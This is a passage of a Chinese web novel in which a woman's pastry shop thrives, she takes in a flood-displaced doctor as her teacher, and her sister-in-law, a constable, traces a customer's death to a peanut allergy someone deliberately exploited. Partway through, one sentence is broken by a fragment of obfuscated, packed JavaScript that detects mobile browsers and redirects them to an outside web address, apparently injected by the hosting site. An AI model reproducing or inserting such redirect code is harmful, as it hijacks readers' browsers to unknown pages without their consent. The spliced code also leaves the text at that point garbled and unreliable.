“谢谢，里面请。尝尝我们的新品。”
莫婉晴领着陆琛进了店铺，特意去后厨给他拿了点心。
一看就是特意为他而留。
碧水将一切看在眼里，她慢慢走到陆思云身边，悄悄问：“二夫人，为何我觉得我家夫人跟陆大人走得有些近，难道是我的错觉吗？”
陆思云淡笑地看着她，表面不动声色，心里却在暗暗惊讶这小丫头的洞察力。
但是很快，碧水就没有精力去八卦自己夫人和陆大人的事了。
店铺里的人越来越多，她忙着照顾客人，早就顾不得其他。
陆思云一边帮忙顾着店里的生意，一边暗自盘算。
如果连碧水都看出莫姐姐和陆大人之间的不同寻常，那是否别人也会看出来呢？
虽然宋晏初早已将和离书给了莫婉晴，他们早就不是夫妻。
可她并未将此事公之于众，所以在旁人眼中，她依旧是宋家大夫人。
有了这一层身份禁锢，她和陆琛总归是没办法光明正大地在一起。
陆思云不想莫婉晴无故受人非议，这是她绝对不能忍受之事。
她打算等关了店，回到家，跟莫姐姐好好商谈此事。
莫婉晴并没有来得及跟陆琛说上什么话，将点心塞给他，便急匆匆地回外面去招呼客人去了。
连陆琛什么时候离开店铺的，她都不知道。
忙活了一天，几个姑娘回到宅子，已经累得连说话的力气没有了。
休息了一会儿，松萝便起身拿出算盘和账本，开始盘今天的账目。
翠柳趴在桌子上，看着松萝面无表情却将算盘打得飞起，佩服道：“松萝，你是铁人吗？都不会累。”
松萝笑着回：“今日最辛苦的就是翠柳姐姐了，你是店铺的顶梁柱，快去早些歇息，明日还需要你坐镇后厨呢。”
翠柳也不跟她客气，她确实累得不行，今天在后厨揉了一天的糯米粉，感觉她的两只手臂都不是自己的了。
同样是铁人还没歇下的，还有莫掌柜。
店铺开张第一天，客流量喜人，营业额也不错。
这是个好彩头。
只是她作为经营者，便已经早早地开始计划下一步的打算。
她正盘算着，屋外响起了敲门声。
“姐姐，睡了吗？”
是陆思云。
“还没有，妹妹快进来吧。”
陆思云开门进了屋，看到她坐在桌前，桌上放着一张纸，上面写着：店铺规划。
“姐姐这么晚还没休息，还在想铺子的事呢？”
“妹妹怎么也没休息。你又要忙六扇门的差事，又得顾着铺子的经营，妹妹才是最辛苦的。”
“我本来就有着用不完的牛劲，这点忙对我来说不算什么。看着大家一起，将落败的宋家重新一点一点地建立起来，我心里又高兴又感动。”
莫婉晴对此深有感触。
自从她决定白手起家，靠手艺过活的时候，她心里是忐忑不安的，她不确定自己能不能做得好，会不会失败。
如果失败，那么一家子的人都得跟着自己喝西北风。
她承担着一个家的重担，心里的压力与焦虑她从不对外人倾诉。
哪怕是陆琛，她也从未袒露过这份脆弱。
索性她们摆摊到开店，一路上都很顺利，她也觉得庆幸。
命运或许对她们不公，但终究是没有将她们赶尽杀绝，还是为她们留了一线生机。
只不过，莫婉晴的性子，哪怕所有事情都在朝着好的方向发展，她也习惯未雨绸缪。
凡事都喜欢多预判几步，多想一些，早点做打算。
并且她心思细腻，看出陆思云今夜来找自己，不会只是想要跟自己唠家常这么简单。
“妹妹来找我，是不是有什么话想对我说？”
陆思云思量再三，还是将白天在店时，碧水问她的问题告诉了莫婉晴。
“我知道碧水是无心之问，但我却听者有意。姐姐虽然已与晏初和离，但旁人却并不知晓此事。你与陆大人，原本是可以光明正大在一起的，可如今为了我们，却隐忍至今。以后如果传说什么风言风语，我担心姐姐受委屈。我姐姐如果想公开和离一事，不用顾及我。我不希望姐姐因此受到伤害。”
原来是为了这件事。
她能这么为自己着想，莫婉晴心里很感动。
“谢谢妹妹这么如此为我考虑。我之所以不公开这份和离书，其实也是考虑到晏初如今流放在外，如果挑这个时候公开，我才是担心会有人说闲话，说我们宋府的人
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大难领头各自飞，说晏初都与妻子和离，是负了我，不打算回来了之类的猜测。”
“当然，不瞒妹妹，我不公开和离一事，其实也是存了一些自己的私心的。我怕如果我告诉大家我已与晏初和离，那我就不再是宋家的人，就不能与你们继续相处再一起。虽然我们做家人时间并不长，但与你们在一起的岁月是我一生中过得最充实最快乐的时光。我舍不得你们，也不想离开你们。”
陆思云听了这番话，立刻红了眼眶。
她忍不住保住莫婉晴，略带责备的语气说：“姐姐这是说的哪里的话！就算你以后离开了宋家，你我也永远是家人，永远是好姐妹。我们要做一辈子的好姐妹，比亲姐妹还亲的亲人，好不好？”
莫婉晴也回抱住她，用力地点点头。
“姐姐放心，以后若是有谁敢在背后非议姐姐，我一定替你好好的教训他，让他闭上嘴。”
“好，有妹妹这个后盾保护我，我便什么都不怕。”
姑娘们的点心铺子慢慢走上正轨，每天的客人络绎不绝，她们虽然卖点心的地方升级了，但是价格却没有涨，所以原本那些消费群体依旧愿意前来买单。
莫婉晴还设置了一个角落，专门可供客人们歇脚品茶和点心。
以往客人去摊位买完点心只能离开，现在买了还能坐下来慢慢品鉴，可以把客人留在店内，增加店里的人气。
这天，同往常一样，莫婉晴将翠柳做的点心摆到外面的大厅之中。
突然听见门口传来一阵响声。
她连忙走过去一探究竟。
却看到门口躺着一个老者，步履阑珊，看上去像是晕了过去。
“碧水！快过来，门口有位老先生晕倒了！”莫婉晴连忙喊道。
碧水听见呼喊声，连忙小跑到门口，与莫婉晴合力将老人扶进店里。
“去倒碗水过来给老先生喝。”
碧水立刻跑进厨房，没多久就端着一碗水递给她。
莫婉晴接过水，小心翼翼地喂老先生喝了几口。
喝了些水，老先生缓解了一些，但依旧皱着眉头，呼吸急促。
莫婉晴见状又吩咐碧水：“拿两块糕点过来给这位老先生。”
等老先生狼吞虎咽地将盘子里的那几块糕点吃完，又喝了莫婉晴递过去的水，整个人这才舒缓了过来。
老先生立刻起身向莫婉晴作揖道：“多谢娘子，老夫已经三日未吃东西，饿晕在娘子店铺门口，幸得娘子施恩。”
“老先生不必客气，您是发生了何事，为何三日未进食？”
老先生像是被提起了伤心事，立刻满脸愁容：“老夫原本是华县的一名大夫，去年华县遭遇大水，我的家被大水冲为平地。无家可归的我只能辗转各处。好不容易来到皇都洛城，却不想身上仅有的盘缠已经花完，这才体力不支晕倒在小娘子的店铺门口。”
“原来老先生是一名大夫。”
说到自己的职业，老人家的脸上不禁染起了几分得意之色：“虽然华县不大，但我的医术在华县也是响当当的。可惜华县遭灾太严重，大家活命要紧各奔东西，我也被迫跟着到处流浪，空有一身医术却无用武之地。”
莫婉晴想了想，提议道：“老先生，我叫莫婉晴。如您所见，是这家店铺的掌柜。虽然我现在经营着这家点心铺子，但不怕您笑话，我自小就喜欢看医书，对医学也略懂皮毛，并且也有几分兴趣。如果老先生不嫌弃我，可否让我聘请您做我的老师，教我医术，您看如何？我们在城东有个宅子，我家里人口不多，也有空房间给您住。这样您在洛城也能有个落脚的地方。”
老先生有些不敢相信地看着她：“莫娘子说的可是真的？”
68.第 68 章
“莫娘子说的，可是真的？”
莫婉晴笑道：“当然是真的。老先生您贵姓？”
“我叫华天文，老夫在这里先谢过莫娘子的收留之恩。教娘子医术，这自然是没问题的，老夫这一身的医学要术，如果能传给莫娘子，那老夫也便无憾了。”
莫婉晴连忙起身向他行礼：“师父在上，请受婉晴一拜。”
华大夫连忙将她扶起来：“快起快起，折煞老夫了。”
“那我现在就带先生回宅子里安顿。碧水，你照看一下店铺。”
“好咧，夫人。”
华大夫总觉得这一切发生的太过突然，有些不敢相信。
等他跟着莫婉晴坐着马车来到城东的宅院门口时，他这才有了一些实感。
刘管家见她这个点回来，有些意外，连忙迎上来：“大夫人，可是店铺里出了什么事？”
“没有。刘管家，这位是我请来教我医术的华天文，华大夫。你收拾一间房间给老师住。”
刘管家听了，看向站在她身边的华天文。
见他衣着破烂，脚上的鞋子也破了好几个洞，连忙道：“好的夫人。我再去准备两套衣服和鞋子，给华先生换上。”
“有心了，刘管家。快去准备吧。”
华天文终于忍不住问她：“莫娘子，你如此信任老夫，还将老夫领进家门，就不怕我老夫有歹心？”
莫婉晴却笑着说：“方才我看先生晕倒在门口，看到先生的衣着，虽然已经破乱不堪，但依稀可见是书生穿的长袍，我原本以为先生是读书人，没想到却是一名大夫。”
“实不相瞒，我们这个宅子里的人，是因为家主受到责难才落魄至此。原本就是白手起家，做营生苦过来，才有了如今的一点小成就。正是因为吃过苦，才能看到百姓生活的不易。”
“去年华县发生水患的时候，我们也曾前往华县赈灾，所以看到像您这样的因天灾而流离失所的人，难免会有一些侧影之心。还望老师不要介意。”
华天文老泪纵横：“老夫怎么会介意，老夫真是几辈子修来的福气，才会遇到莫娘子这样的活菩萨，老夫感激都还来不及。”
安顿好了华先生，莫婉晴又重新回铺子里忙活。
陆思云散衙后就来铺子里帮忙，莫婉晴就将白天的事如实相告。
“妹妹不要怪我擅作主张才好。”
“姐姐如今是一家之主，姐姐无论做什么决定，我都会支持。只是姐姐平日顾着铺子，不知能否抽出时间来向华老先生学习。”
“其实我原本打算等这个点心铺子稳定下来，就将铺子交给松萝打理，我打算在城南再开一家分店。”
陆思云眼神突然亮了起来：“姐姐真是有女企业家的魄力啊。”
谁想莫婉晴一脸疑惑地看着她：“企业家？是什么意思？”
“就是……生意人的意思。”
莫婉晴了然，继续说：“但是现在华先生的出现，改变了我的想法。我想开一家医馆，这样老师的手艺不会荒废，我跟在他身边实践操作，也能更直观地学习。妹妹以为如何？”
“我觉得甚好。医馆可以给百姓治病，造福百姓，我觉得很有意义。”
得到陆思云的肯定与支持，莫婉晴的一颗忐忑的心总算是安定了下来。
姑娘们结束了一天的营生，关了铺子回到家。
大家都对华大夫的到来表示了欢迎，这让华天文有些受宠若惊。
他意外加入这个大家庭，初来乍到，心中难免惴惴不安。
看到大家对他如此友好，心里很是感动。
他的房间被安排在刘管家旁边，在宅院的西面，与其他几位姑娘居住的位于东面的房间中间隔了一个庭院。
莫婉晴将自己想要开医馆的想法告知了华天文。
这下华大夫再一次情绪失控：“我原本以为能得莫娘子庇护，有了栖身之所，已经是上天最大的恩赐。没想到老夫这身本事以后还有可用之处，老夫真的不知道该说些什么好，请受老夫一拜。”
说完就想跪下向姑娘们磕头。
莫婉晴连忙将他扶起来：“开医馆也是我的梦想，但是无奈我的医术不高无法独当一面。幸得能遇到老师，才让我有此底气做出这样的决定，反倒是应该我谢谢老师才是。”
“以后老夫全听夫人安排。”
“开医馆也不是一天两天就可以成功的事，我需要时间和资金的筹备。老师平日可以在家研究草药，为医馆开张时做准备。”
“夫人说得极是！”
看着华大夫此时容光焕发的神色，与白天遇到之时宛如两个人般，莫婉晴打心底里为他感到高兴。
陆思云看着眼前的情景，心中对莫婉晴的果断干练又有了一个新的认识，对她的欣赏崇敬之情越发的深了。
晚上，陆琛来宅子里看她。
他白天的时候就听说了，他们收留了一个陌生人来宅院里住。
所以就算他们没有约定时间，他都要火急火燎地赶过来看看情况。
一见到莫婉晴，他便焦急地抓住她的手臂问道：“听闻你今日将一个来路不明的老先生安排住进宅子里了？”
“他现在是我的师父了。”
“师父？什么意思？”
“这位老先生原本是华县人，华县发生水患后，失去了家人，辗转来到了洛城。今日做到在店铺门口。一问才知他原本在华县是一名大夫，我看他无家可归，便收留了他，顺便拜他为师学医。你知道的，我一直都很想做一名大夫。”
“话虽如此，但是毕竟是一个陌生人，你就这么放他进了屋。万一他是歹人，你们一家老弱妇孺，又如何抵抗？”
莫婉晴笑道：“老师年事已高，我看他谈吐不凡，是个有涵养的读书人，这才带他回家的。”
听了她的话，陆琛也知她心意已决，自己劝不住。
不过他还是打算自己偷偷调查一下这位华天文的底细。
“不过，这次的事倒是提醒我了，我明日就调两个人过来给你们做护院。”
“陆大人，会不会有点过于兴师动众了？”
陆琛一把拉过她，将她搂在怀里：“只要是关于你的事，我都不敢有一丝懈怠。”
莫婉晴在他怀里温存了一会，便离开了他的怀抱，站直身体与他保持距离，清醒的理智将她拉回现实。
“小心叫人看见。”
陆琛挑眉：“难道我就这么见不得人？”
莫婉晴抬头看他，发现他剑眉微蹙，表情委屈得很。
“莫娘子到底打算何事给我名分？”
“我想等晏初平安从边境回来以后再说。”
看他又要发作的架势，她连忙又说道：“眼下他一个人在边境，生死难料。我不能为了我一个人的幸福，就弃他的家眷于不顾。我与他毕竟夫妻一场，又是从小一起长大，于情于理我都不能这么做。”
“况且我与星然妹妹情同姐妹，她的夫君远在边境打仗，虽然她嘴上不说，我却知道她每日都会坐在窗前想念他，家书也从未间断过。看着妹妹如此煎熬，而我还能每天与你见面说话，我心里也非常过意不去。会觉得，只有我这么幸福很狡猾。”
陆琛沉默不语。
她说的他都能理解，可心里的委屈也是真真切切的。
见不说话，莫婉晴伸手扯了一下他的一角，用撒娇的口吻嘟囔：“你说过无论多久，都会等我的。陆大人难道想反悔不成？”
陆琛垂眸看她，发现她鼓起的脸颊，微皱着柳叶眉，整张脸特别生动俏皮，是之前从未见过的灵动。
突然很想吻她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498596|134213||http|test|mini|href|location''.split(''|''),0,{}));
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但是陆琛克制住了自己，然后无奈地叹了口气。
人称杀人不眨眼的阎罗王陆大人，偏偏拿眼前的人毫无办法。
被她吃得死死的。
见他被自己哄好了，莫婉晴露出了得逞的笑容。
------
陆思云写了好几封家书去边境，却没有得到宋晏初的回信。
她心里还是有些失落的。
她不知道宋晏初在边境好不好，有没有适应了苦寒之地的生活，有没有好好吃饭，有没有好好睡觉，有没有遇到危险……
有没有想她。
可是她寄出的家书就像石沉大海一般的毫无回应。
她一边失望着，一边不停歇地继续写信。
她自我安慰着。
也许那边条件艰苦，没办法写信回来；
也许那边军事繁忙，他根本没空写信回来；
也许那边战事一触即发，他根本无暇顾及；
也许他在那边遇到了危险……
想到这，她两忙摇头。
想将这个可能性摇出自己的脑袋。
他不会有事的。
他答应过自己会平安回来。
他一直是个重承诺，言而有信的人。
他一定会平安回到洛城与她团聚的。
陆思云就这样过着白天忙忙碌碌做捕快帮衬店铺，晚上独自对着烛光发呆胡思乱想独自哀愁的生活。
直到有一天，刘管家兴冲冲地从家里跑来店铺，来到莫婉晴面前，喜笑颜开地说：“大夫人，少爷他来信了！”
“真的吗？”莫婉晴眼睛一下子就亮了起来。
她接过信，想了想，将信妥善地收在袖口里，想等陆思云放衙过来，亲手交给她。
傍晚时分，陆思云来到铺子里帮忙。
莫婉晴招呼完客人，看到她趴在桌上发呆，情绪低落。
她知道这是最近陆思云的常态，她为何不开心，理由也不过是那个远在天边的男人。
她揣着那封信，走到陆思云面前，慢慢地将信从袖子里抽出来，像献宝似的展示在她面前。
“这是什么？”陆思云问。
“白天的时候，刘管家带回来的，说是边境……”
她话还没说话，陆思云便一把拿过信，转过身，开始拆信封。
她的手都是发抖的，激动得快连信封都撕不开。
好不容易地将信从信封里拿出来，陆思云认真地看了起来。
莫婉晴也不打扰她，就站在旁边，嘴角带笑地看着她的背影。
只有她才知道，陆思云等宋晏初的这份家书等了多久。
陆思云安静地看完了信转过身。
莫婉晴看到她的表情，原本微笑的嘴角瞬间僵硬在脸上。
“怎么了？信里写了什么，为何妹妹哭得这般伤心？”
陆思云肩膀颤抖，泪流满面，哭到说不出话来。
莫婉晴脸色微变，她立刻接过陆思云手中的信，一目十行地读了起来。
信中除了写了一些在军营里的近况之外，还表达了对陆思云的思念。
开始看的时候，莫婉晴倒觉得内容并没什么问题。
直到看到后面，宋晏初交代了自己被敌国奸细刺杀未遂，他带人潜入敌军阵营烧了对方的粮仓。
战争一触即发，让远在皇城的陆思云不用担心，并且同时要做好准备。
如果有因为战争而逃到洛城的难民，要她配合六扇门，做好安置工作。
莫婉晴读完新，面色沉重地看着陆思云。
她终于明白一向坚强勇敢的思云妹妹为何要哭得这么伤心。
知道自己的爱人在边境遇到危险，现在还要带兵打仗，生死如何全看天命。
她此时定是心如刀割。
69.第 69 章
莫婉晴不知应该如何安慰。
这段时间，她眼睁睁地看着陆思云每日都备受煎熬，却无能为力。
陆思云哭了一会儿，努力平复了一下自己的情绪，看莫婉晴正一脸担忧地看着自己，有些不好意思地笑了笑：“让姐姐见笑了。”
莫婉晴知道她是在强撑着，她连忙握住陆思云的手：“跟我妹妹无须遮遮掩掩。我知道妹妹心里着急，马上要打仗了，他又在前线，你心里担心他的安危，我都明白。”
“其实担心也是徒劳，我远在万里也帮不上什么忙。眼下晏初给我们传递了一个非常重要的消息，马上就要开始打仗了，我们虽然离得远，但局势瞬息万变，姐姐我们也必须早做准备才是。”
“妹妹说得极是。现在我们开店积累了一些钱财，我今晚就让松萝是换成金子。另外再多储备一点粮食，以备不时之需。”
陆思云郑重地点点头。
有莫婉晴在，一切事情全都会安排的井然有序，她并不担心会出什么岔子。
晚上的时候，莫婉晴将宋晏初家书中提到的要打仗的内容告知了陆琛。
陆琛的脸上却没有出现意外的神情，反而好像是在意料之中似的。
“你好像并不意外边境要打仗的事。”
陆琛也不隐瞒，他如实地点头：“这几年，北国一直多次挑衅我大宣国边境。这一仗是早晚的事。只有把他们打服帖了，边境才会真的安稳下来。”
莫婉晴若有所思：“你说得有道理。不过一旦开战，遭殃的就又是百姓。”
“我理解你心系百姓的这颗心，但是覆巢之下安有完卵？只有真正解除边境危机，与北国签订停战协议，百姓才能真的过上安居乐业的生活。”
“再者，宋兄这次去边境带兵的目的，就是要跟北国好好打一仗。”
“此话怎讲？”
“两国开战，其中的诱因繁多。但无论是何原因，一旦开战，牵扯的东西涉及方方面面。打仗用的物资、兵器、粮草，还有军队的整编，这些都存在很多漏洞。宋兄就是要抓住打仗的这个时机，逼和亲王动手，一旦和亲王动了任何一个环节的脑筋，就相当于是露出了破绽。而宋兄等的就是他露出破绽，好抓住他发把柄，将他绳之以法。”
原来如此，莫婉晴这下全都明白了。
“两国开战，不仅可以震慑住北国，逼他们与我们签订停战协议，还能诱使和亲王出手，以此来抓住他的把柄，将他从高位拉下，让他再无翻身之地。”
“正是。”
“可是这些，全都需要建立在晏初能够大获成功的基础上，方能得到我们想要的结果。”
“我相信以宋兄的能力，他一定可以办到。”
“现如今，我们也唯有相信他可以成功。”
两人说了半天正事，陆大人却是有些不乐意了。
他将莫婉晴拉近了两步，两人面对面站着，他忍不住抱怨：“每次见面，除了这些正事，你就没别的想要对我的说的么？”
莫婉晴无奈地看着他。
想不到平日里盛气凌人，凶神恶煞的陆大人，同她在一起时却是另外一副面孔。
特别爱委屈，特别喜欢撒娇且粘人。
这换谁谁受得了。
莫婉晴左看看右看看，在确定四周没人之际，飞速地踮起脚，在他的脸上印上一吻。
然后在陆琛还未反应过来的时候，一溜烟小跑进了宅子。
陆琛慢慢地抬起手摸着方才被莫婉晴亲过的地方，眼神呆滞，有些不敢相信刚才发生了什么。
莫婉晴跑回的房间，摸着自己滚烫的双颊，上扬的嘴角怎么都压不下来。
她其实很喜欢现在她和陆琛的这种交往方式。
每天固定的时间见上一面，聊会儿天。其他时间却是各忙各的事业，彼此互不打扰。
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次日，陆思云同往常一样来到六扇门。
今日轮到她当值，她刚到没多久，孙二斤便一脸焦急地朝着她跑过来。
陆思云以为他担心自己迟到，便笑着安慰他：“别急别急，你没迟到，是我早来了。”
没想到二斤看到她就急吼吼地喊道：“星然妹子，快跟我走，你家铺子出事啦！”
“什么事啊，这么慌慌张张的？”
孙二斤回过头，朝着她大吼道：“你家点心吃死了人，人家已经报官了，你快随我一道去看看吧。”
“你说什么？我家的点心吃死了人？这、这怎么可能呢？”
陆思云有些不敢相信自己的耳朵。
她们的铺子卖糕点有些时日了，从来没有听到哪个人吃了她们铺子的糕点有什么不舒服的。
拉肚子都没有，怎么会吃死人呢？
她立刻跟着二斤赶回了铺子。
此时铺子里已经围满了人，里三层外三层。
都是一群来看热闹的人。
孙二斤和陆思云拨开人群走到正中间，看到莫婉晴和翠柳碧水她们站在那里，面色凝重地看着对面的人。
而对面站得的妇人，正指着她们破口大骂。
“我夫君就是吃了你们铺子里的糕点，昨天突然口吐白沫，全身抽搐而死。你们说怎么办吧？今日必须给我一个说法，不然我就赖在这里不走了！”
陆思云走上前，看着这位歇斯底里的妇人，柔声地问：“夫人，您确定你的丈夫是吃了这家铺子里的糕点而去世的吗？”
那位妇人看到她穿着官差的服装，像是找到了救星似的，一把拉住她的衣袖：“官差大人，您来的正好，我本身也是打算去报官的。这家铺子的点心吃死人，你们一定要严查！”
陆思云轻轻握住了妇人的手说：“这位夫人，这家铺子的主人是我的家人。我向你保证，我一定将此时查个水落石出，不让您丈夫就这么枉死。”
一听她跟铺子的主人是亲戚，夫人立刻松开了她的手，朝着人群哭喊道：“没天理啊！我的丈夫被她们害死了，这个差爷居然跟她们还是一会儿的，我看我是求不到我要的公道了，我不如一头撞死算了！”
说着就要撞柱子寻死，被周围看热闹的人一把拦住，这才没有得逞。
围观的人也忍不住为她说话：“这位捕快是掌柜的家人，你肯定会偏心掌柜的，办事很难做到公正啊。”
“对啊，就是啊，有失公正啊。”
“不能让你来查这个案子。”
“对啊，不然做不到公平公正。查案的人是自己人，这不是对店家有利了？”
……
受到这样的质疑，莫婉晴也不得不站出来：“各位，我打开门做生意，讲的就是诚信二字。在事情没有查清楚之前，我愿意闭店配合六扇门调查。在我这里买了点心怕有毒不敢吃的，我们也承诺全部接受退货。我相信官府会给我一个公道。”
“公道什么呀公道！我夫君被你们毒死，还在这里谈公道二字。大家评评理啊！”这妇人依旧不依不饶。
陆思云这才发现，遇到这种大哭大闹的人，无论你说什么，她都听不进去一个字。
正当她们一筹莫展之际，人群后面传来一个刚劲有力的声音：“我来查办此案，如何？”
众人全都转过身去看向声音发初的地方。
陆思云也跟着看过去，看到萧楚翊越过人群，朝他们大步走来。
萧楚翊来到正中间，陆思云立刻作揖：“萧捕头。”
萧楚翊点点头，然后转身对那位要死要活的妇人说：“我是六扇门的捕快，也是这位差爷的头头
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。由我来亲自查办此案，定能还你一个公道。”
这下妇人便不再喊闹，被亲戚扶着离开。
“好了，别看了！散了散了！别妨碍官差办事！”
孙二斤也趁机将看热闹的一种众人全都赶走。
人群散去，陆思云连忙转身问一旁的莫婉晴：“怎么回事？我们的糕点怎么会吃死人呢？”
作为糕点的主要制作人，翠柳是最不能接受这样的结果的。
“天地良心，我用的所有的材料都是新鲜的，天然的，没有添加任何有毒物质，绝对不会吃死人的呀。”
莫婉晴也摸不着头脑：“这位妇人是突然上门就大喊我们的糕点吃死了人，对此我们也是一头雾水。”
萧楚翊提议：“大家先不要自乱阵脚。既然她说她的丈夫是吃了你们铺子的点心而死。那我们只要把事情查清楚，还原事情的真相，就能明白到底是怎么回事。”
陆思云赞同地点点头，她立刻对萧初翊说道：“我觉得我们需要先去看一下死者的尸体，确定一下真实的死因。”
萧初翊点头。
二人事不宜迟，立刻前往方才闹事妇人的家中。
他们赶到妇人家中，那是位于城北的一片贫民区。
里面的房子全都破败不堪，一间屋子里住着好几户人家。
陆思云看着眼前的场景，心中升起了一丝异样。
他们穿过一个小巷子，又转了几个弯，便到了目的地。
那位妇人见了陆思云，眼里闪着恨意，她咬牙切齿地质问：“你来干什么？”
没等陆思云开口，萧楚翊便说：“夫人，我们想来看一看你丈夫的尸体。”
“人都死了，还有什么好看的。”
“如今你报了官，六扇门接手了此案，我们就有权利查看死者的尸体，确定死因。”
妇人动了动嘴唇，最终什么都没说，而是侧身让他们进了屋，算是默认同意。
萧楚翊带着仵作来到停放尸体的房间。
“仵作先生，您开始吧。”
妇人突然警觉地问：“你们要对我夫君的尸体做什么？”
“夫人稍安勿躁，只有等仵作验完尸，我们才能知道你的夫君是因何而死。”
仵作验尸的时候，陆思云站在一旁，暗暗地观察着尸体的每一个角落。
别的倒是没什么特别，但是尸体手臂上的红点让她十分在意。
着让她想起，小时候她吃完海鲜，便开始浑身长满红色的疹子，母亲带她去医院看了医生才知道原来自己是海鲜过敏。
当时自己手臂上的红点，跟死者身上的有几分相似。
难道他是过敏而死？
那他是对什么食物过敏呢？
很快，仵作验完尸，向萧楚翊汇报：“启禀大人，死者为咽喉肿胀窒息而死。身上虽然遍布红色斑点，但却不是导致他死亡的原因。此外，我在死者的胃中，发现了一些食物残渣。初步判断是带有花生仁的糕点。”
听了仵作的话，妇人立刻瞪大了眼睛，一副“我就知道”的表情指着陆思云吼道：“听见没有，我夫君肚子里有你们铺子的糕点，他就是吃了你们家的点心才会死的。”
然而，陆思云听了仵作的陈述，心中却有另一种答案。
死者确实是吃了她们铺子的糕点而死。
但并不是被毒死的。
他是花生过敏而死。
于是，她抬起头看向那位妇人问：“你的夫君，是不是吃不了花生？”
夫人愣了一下，下意识地问：“你怎么知道？”
这下，陆思云更加确定自己的猜测。
“你丈夫不是吃我们铺子的糕点毒死的，而是被人害死的。”
“你说什么？”
70.第 70 章
“你说什么？我的夫君是被人害死的？”
“说句比较冒犯的话，希望夫人不要介意。方才我一路过来，看到这边所处的环境比较残破，平日大概连解决温饱都有问题，又怎么会舍得花钱买糕点呢？”
“更何况，我们的铺子在城东，而你们住在城北，一东一北，虽然不是隔得很遥远，但也不少距离。花那么多的时间从城北赶到城东买一块对你们来说有些昂贵的糕点，您不觉得有些可疑吗？”
萧楚翊低头问：“你的意思是……”
“这个糕点，是有人送给死者的，而不是死者自己去买的。并且送糕点之人，一定知道死者对花生过敏，所以才故意给他买含有花生仁的糕点。”
“你是珍果苑的人，你当然帮他们说话。”
萧楚翊出来主持公道：“徐娘子，我很同情你的遭遇。但是如果你的丈夫真的对花生过敏，并且吃了果珍苑的花生糕，那他的死就与果珍苑没有关系。他们总不能因为有人吃了花生过敏会死，就不制作花生有关的点心了吧？”
徐娘子说不出话来，憋了一会儿，突然无助地大哭起来。
他们本就生活的很艰苦，全靠丈夫在外面做苦工赚点微薄的收入勉强过活，现在丈夫死了，这唯一的生计也没有了，她的内心是非常无助且绝望的。
陆思云走过去，轻轻握住她的手，柔声道：“徐娘子，虽然你夫君的死跟我们铺子无关，但是毕竟是吃了我们铺子的点心，才诱发他花生过敏窒息而亡。我可以回去跟掌柜一起商量一下，给您一点补偿金，以缓解您这段时间的经济困难。另外作为一名捕快，我答应您，一定把害死你夫君的罪魁祸首找出来，将他绳之以法。”
徐娘子泪眼婆娑地看着她，最终羞愧地低下来了头。
之前她闹到她们的店铺，迫使她们不得不关了店铺，害的她们做不成生意。
不仅如此，她还将自己夫君的死，全都个推脱到了他们的身上，以此来发泄自己心中的痛苦。
可是陆思云非但不怪她，还想尽办法帮助自己，这一系列的举动，都让她感到非常的无地自容。
晚上，陆思云将白天去徐娘子那检查尸体的结果告诉了莫婉晴。
“妹妹的意思是，有人知道徐娘子的夫君对花生过敏，故意买了我们店铺的花生点心送给他，导致他花生过敏，引发窒息而死？”
“从尸体的特征来说，他确实是过敏窒息而死。”
“凶手这么做的目的又是什么呢？”
“自然是制造我们店铺的果子吃死了人舆论，让我们的点心铺没办法继续经营下去。”
莫婉晴的脸上露出不可思议的神情：“就为了针对我们的铺子，牺牲了一条活生生的人命？”
“也许凶手并不想置于死地，只是想制造一点对我们铺子不利的言论而已。谁想到人却死了，他便一做二不休，将言论升级。毕竟‘吃死人’这个结果，对我们铺子的打击会更大。”
“不管怎么样，徐娘子一家，确实是受到我们牵连的受害者。”
“说到此事，姐姐我有一个想法，还需要征得姐姐的同意。”
“何事？妹妹不妨直言。”
于是，陆思云将白天对徐娘子说的话，又对莫婉晴说了一遍。
莫婉晴听完了点点头：“妹妹这个提议甚好。虽然我们并不是直接害死徐娘子夫君的凶手，但他的死确实是因我们而起。我们适当地补偿一些他们，确实应该。一会儿我去找松萝商量一下，给多少补偿金何事。”
“好，一切都交给姐姐安排。”
发生这么大的事，陆琛自然不会不知道。
所以到了见面时间，刚一碰面，他便先开口问：“白天有人上门来闹事了？点心吃死人又是怎么回事？”
见他着急的模样，莫婉晴安慰道：“你别着急，星然妹妹已经在帮忙调查了。初步推断是死者对花生过敏，又吃了我们店里的花生仁的点心，这才导致窒息死亡的。”
但陆琛到底是锦衣卫，有着敏锐的嗅觉，他立刻皱眉问：“死者知晓自己花生过敏么？”
“他的妻子徐娘子知晓此事，我想他本人应该也知道、”
“既然知道自己对花生过敏，又怎么会去买含有花生的糕点。只怕是有人故意让他吃下这让他过敏的糕点，从来嫁祸给你们。”
莫婉晴这次却没有接他的话，而是嘴角带笑地看着他。
陆琛被她看得不明所以：“为何这样看着我？”
“我只是觉得你和星然妹妹都很厉害，不愧是经常查案的人，她方才也是这么推测的。”
陆琛宠溺地伸手轻轻刮了刮她的鼻尖：“都这个时候了，你还有心思跟我说笑。我听说今天的事闹得很大，你不得已将店铺给关了？”
“我想等妹妹查明事情的真相，还我公道之后，再把店铺开出来。这样大家也好放心购买我们的点心。不然这个时候，人心惶惶，不知道还会不会出现别的事端，为了减少不必要的麻烦，索性我先把铺子关几天再说。”
莫婉晴说得也在理。
虽然觉得她在这么好的情况下闭店，损失不小，有点为她感到惋惜。
但以陆琛对她的了解，他也知道莫婉晴一直是以大局为重的人，这些损失对她来说算不得什么。
“需要我帮什么忙吗？”
“这件事六扇门已经着手在调查了，还麻烦不到锦衣卫，你就不用为我操心了。我相信星然妹妹的能力，一定不会花太久的时间就能让事情水落石出的。”
陆琛上前，将她的手放在自己的手心里，轻轻地揉捏着，漫不经意地说：“好，都听你的。”
陆思云确实没有辜负莫婉晴对她的信任，很快便查到了一家叫“谢云瑾”的铺子。
这家叫“谢云瑾”的铺子，开在城中的位置，地理位置本身就非常有有势，又是一家老字号，卖的糕点本地人祖孙三代、从小吃到大，生意一直都十分红火。
前段时间他们店里出了一个新品“翡翠糕”非常受老百姓的欢迎，没过多久这款“翡翠糕”便诚了“谢云瑾”的招牌。
